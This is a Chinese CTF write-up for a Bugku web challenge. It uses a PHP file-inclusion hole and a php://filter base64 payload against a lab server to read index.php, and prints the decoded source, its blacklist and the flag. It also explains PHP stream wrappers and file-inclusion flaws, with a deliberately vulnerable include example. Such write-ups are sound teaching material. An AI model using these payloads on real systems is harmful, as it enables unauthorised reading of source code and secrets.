学做网站看什么,wordpress引导页死循环,网站推广阶段,网站源码怎么获取题目描述
题目截图如下#xff1a;
进入场景看看#xff1a;
解题思路
你说啥我就干啥#xff1a;点击一下试试你会想到PHP伪协议这方面去嘛#xff0c;你有这方面的知识储备吗#xff1f;
相关工具
解题步骤
查看源码 看到了一点提示信息#xff1a;
./index.…题目描述
题目截图如下
进入场景看看
解题思路
你说啥我就干啥点击一下试试你会想到PHP伪协议这方面去嘛你有这方面的知识储备吗
相关工具
解题步骤
查看源码 看到了一点提示信息
./index.php?fileshow.php点击后显示
看到?fileXXX.php那不就是典型的文件包含吗 页面显示了index.php,那就修改试试打不开
?fileindex.php我是个菜鸡想不到也不知道什么是PHP伪协议:请看【新知识点】部分
这里需要用的一个伪协议php://filter:是一种元封装器 设计用于数据流打开时的筛选过滤应用。 可以使用php://filter获取指定文件源码
?filephp://filter/resourcexxx.php发现啥也没有显示这是因为:
通常获取源代码时伪协议将xxx.php当文件执行使得很多信息往往不能直接显示在浏览器页面上通常使用base64编码后再显示
?filephp://filter/convert.base64-encode/resourceindex.phpconvert.base64-encode是一个过滤器看到encode可以知道这是一个加密的过滤那自然就有convert.base64-decode,解密了。简单来说就是对数据流进行编码通常用来读取文件源码。
这样做的好处就是如果不进行编码文件包含后就不会有输出结果而是当做php文件执行了而通过编码后则可以读取文件源码。
这里对资源文件show.php进行加密了所以显示
aW5kZXgucGhw加上后进行base64解密就可以复现index.php 现内容就是index.php,说明show.php没有隐藏信息。
所以同理对index.php使用伪协议执行一下
http://114.67.175.224:15954/?filephp://filter/convert.base64-encode/resourceindex.php可以看到一串很长的东西但注意最后的必须下意识去解密看看
77u/PGh0bWwDQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGUDQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg得到
htmltitleBugku-web/title?phperror_reporting(0);if(!$_GET[file]){echo a href./index.php?fileshow.phpclick me? no/a;}$file$_GET[file];if(strstr($file,../)||stristr($file, tp)||stristr($file,input)||stristr($file,data)){echo Oh no!;exit();}include($file);
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?
/html
可以看到注释有flag了
PS
参考其他WP发现都使用了一个read,这是啥 可以看到说是这个参数可以不选在PHP伪协议中read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用用于读取文件的特定部分或指定偏移量的内容。
使用read操作符时你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。
?filephp://filter/readconvert.base64-encode/resourceindex.php稍微解释下这个做法:
php://filter/ 是一种访问本地文件的协议/readconvert.base64-encode/ 表示读取的方式是 base64 编码后resourceindex.php 表示目标文件为index.php。
问什么要进行 base64 编码呢如果不进行 base64 编码传入index.php 就会直接执行我们就看不到文件中的内容了。
得到Flag
flag{c6f30afb02dbe6a5983386c5d3e0412c}新知识点 PHP伪协议 PHP伪协议是一种特殊的协议用于访问和操作不同资源和数据。以php://开头并提供了一组预定义的流封装器用于处理各种不同的资源和操作。可以用于访问和操作本地文件、远程文件、网络服务、数据库、压缩文件等。使用PHP伪协议可以像访问本地文件一样访问远程文件。常见的PHP伪协议及其用途
php://filter可用于从不同来源如文件、网络套接字或PHP输入/输出流读取或写入数据。php://input用于访问HTTP请求中的原始请求体的数据比如处理POST请求时可以使用这个协议来获取请求的数据。php://output用于将数据输出到标准输出流可以通过这个协议来实现将数据发送至浏览器。php://stdin用于读取标准输入流中的数据可以通过这个协议来处理从命令行输入的数据。php://stderr用于将错误信息输出到标准错误流可以通过这个协议将错误日志输出到命令行或日志文件。php://memory用于创建一个可读写的内存流可以通过这个协议来存储和操作数据。php://temp用于创建一个可读写的临时文件流可以通过这个协议来存储和操作数据。file://用于访问本地文件系统中的文件可以通过这个协议来读取和写入文件。http://用于访问远程HTTP资源可以通过这个协议来获取远程服务器上的数据。ftp://用于访问远程FTP服务器上的文件可以通过这个协议来上传和下载文件。1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流I/O streams
5 zlib:// — 压缩流
6 data:// — 数据RFC 2397
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
php://filter的语法如下
php://filter/[action]/resource[action]指定要执行的过滤操作类型[resource]是要过滤的文件或流的名称。
例如可以使用以下代码从文件中使用特定的过滤器读取数据
$filteredData file_get_contents(php://filter/readfilter_name/resourcepath/to/file);类似地可以使用以下代码将数据写入文件并应用过滤器
file_put_contents(php://filter/writefilter_name/resourcepath/to/file, $data);在这些示例中filter_name是要应用的过滤器的名称。PHP中有各种内置过滤器可用如zlib.inflate、string.toupper、string.rot13等。您还可以使用PHP提供的过滤器API创建自定义过滤器。
使用php://filter可以在不将数据保存到物理文件中的情况下处理数据流或者在读取或写入数据之前对数据应用特定的转换时非常有用。 文件包含漏洞 在开发过程中当频繁需要跳转网页或者需要某个函数时程序员喜欢将重复的函数写到一个单独的文件中在需要时调用文件这种文件调用叫做文件包含。 但是这也产生了文件包含漏洞产生原因是在通过 PHP 的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。 此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。
分类
本地包含 当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP 代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php 语法会直接将文件内容输出。例如下面这段简易的代码
?php$file $_GET[file];include($file);
?远程包含 当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置
allow_url_include on是否允许 include/require 远程文件
allow_url_fopen on是否允许打开远程文件参考链接
PHP伪协议详解CTF-WEBPHP 伪协议探索php://filter在实战当中的奇技淫巧 有用的话请点赞收藏评论帮助更多的同学哦